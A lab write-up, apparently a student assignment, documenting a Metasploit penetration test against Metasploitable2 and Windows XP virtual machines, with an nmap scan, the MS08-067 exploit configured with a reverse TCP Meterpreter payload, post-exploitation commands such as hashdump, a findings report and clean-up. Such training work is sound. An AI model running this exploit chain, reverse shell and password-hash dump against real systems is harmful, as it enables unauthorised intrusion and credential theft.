TASK 6: "Penetration Testing Documentation"

Using Metasploit Framework on a Vulnerable Environment

1. Environment Setup

For this penetration test, two virtual machines were configured:

Attacker Machine:

- Operating System: Kali Linux
- Tools Installed: Metasploit Framework, Nmap
- Network Mode: Bridged/Host-only to communicate with the target

• Target Machine:

- Example 1: Metasploitable2 (Linux-based vulnerable machine)
- o Example 2: Windows XP SP2/SP3 (vulnerable to MS08-067)
- o Purpose: Simulated vulnerable system for penetration testing

2. Reconnaissance & Scanning

The first step was to discover open ports and running services on the target system.

Steps Performed:

```
nmap -sS -sV -O <target_ip>
```

• -sS: TCP SYN scan for open ports

- -sV: Service version detection
- -O: Operating system fingerprinting

Expected Findings (example for Metasploitable2):

- Port 21: FTP running vsftpd 2.3.4
- Port 22: OpenSSH 4.7
- Port 23: Telnet
- Port 80: Apache web server
- Port 445: SMB service
- Port 3306: MySQL database

This scanning phase provided the foundation for identifying possible exploits.

3. Launching Metasploit Console

Metasploit was used as the main penetration testing tool.

Steps Performed:

msfconsole

- Loads the Metasploit framework.
- Provides access to exploit modules, payloads, auxiliary tools, and postexploitation scripts.

4. Searching Exploits for Detected Vulnerabilities

Once the services and versions were identified, relevant exploits were searched within Metasploit.

Steps Performed:

search ms08_067

Example Selected Exploit:

```
use exploit/windows/smb/ms08_067_netapi
set RHOSTS <target_ip>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker_ip>
run
```

- **Exploit:** SMB vulnerability (MS08-067) in Windows XP.
- **Payload:** Reverse TCP Meterpreter shell.
- **Result:** Remote access to the victim machine.

5. Exploitation & Payload Execution

After configuring the exploit and payload:

- The exploit was launched successfully.
- Meterpreter session was established with the target system.

Example Meterpreter session commands:

sessions -i 1

(to interact with the opened session)

6. Post-Exploitation

Once access was obtained, post-exploitation steps were carried out to gather system and user information.

Steps Performed:

- Gather system info:
- sysinfo
- List files and directories:
- dir
- View user accounts:
- getuid
- Capture screenshots:
- screenshot
- Dump password hashes:
- hashdump

These actions demonstrated how an attacker could maintain persistence and extract sensitive data.

7. Reporting

A penetration testing report was generated covering the following details:

• Vulnerabilities Exploited:

- MS08-067 SMB vulnerability on Windows XP.
- Additional exploitable services on Metasploitable2 (FTP, MySQL, Telnet).

• Systems Impacted:

- Windows XP (full remote code execution).
- o Linux services (weak credentials, open services).

Access Obtained:

- o Remote Meterpreter session with system privileges.
- o Access to sensitive files and system configurations.

Potential Risks:

- Unauthorized remote system control.
- Data exfiltration.
- Escalation to other networked machines.

• Recommendations:

- Apply security patches and updates (e.g., fix MS08-067).
- o Disable unused services (e.g., Telnet, FTP).
- o Enforce strong authentication methods.
- Regular vulnerability assessments.

8. Clean Up

To ensure no backdoors or persistent sessions remained:

Steps Performed:

exit

- All Meterpreter sessions were closed.
- Temporary payloads and artifacts were removed.

•	Target machine restored to original vulnerable snapshot for future testing.